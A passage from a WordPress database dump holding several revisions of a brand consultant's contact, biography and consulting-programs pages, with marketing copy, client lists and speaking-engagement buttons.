merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\nWatch Thomson speak below.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:01:02', '2015-10-09 20:01:02', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3072, 1, '2015-10-09 13:03:42', '2015-10-09 20:03:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\nWatch Thomson speak below.\r\n\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6" center="yes"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:03:42', '2015-10-09 20:03:42', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3073, 1, '2015-10-09 13:04:32', '2015-10-09 20:04:32', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\nWatch Thomson speak below.\r\n\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:04:32', '2015-10-09 20:04:32', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3075, 1, '2015-10-09 13:10:32', '2015-10-09 20:10:32', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:10:32', '2015-10-09 20:10:32', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3076, 1, '2015-10-09 13:16:49', '2015-10-09 20:16:49', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\r\n&nbsp;\r\n', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 13:16:49', '2015-10-09 20:16:49', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3078, 1, '2015-10-09 16:23:11', '2015-10-09 23:23:11', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\n\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\n\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\n<h1><strong><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span>\n</strong></h1>\n[su_button url="http://whc.fbdev.org/consulting-programs/" style="flat" background="#fd7217" size="6" text_shadow="0px 0px 0px #000000"]Learn about consulting programs[/su_button]\n\n<img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" />\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\n[su_button url="http://whc.fbdev.org/consulting-programs/" style="flat" background="#ff6600" size="6" text_shadow="0px 0px 0px #000000"]What my clients say[/su_button]\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-autosave-v1', '', '', '2015-10-09 16:23:11', '2015-10-09 23:23:11', '', 138, 'http://whc.fbdev.org/2015/10/138-autosave-v1/', 0, 'revision', '', 0),
(3081, 1, '2015-10-09 14:08:27', '2015-10-09 21:08:27', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 14:08:27', '2015-10-09 21:08:27', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3080, 1, '2015-10-09 14:01:50', '2015-10-09 21:01:50', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 14:01:50', '2015-10-09 21:01:50', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3086, 1, '2015-10-09 14:14:20', '2015-10-09 21:14:20', '<img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" />\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 14:14:20', '2015-10-09 21:14:20', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0);
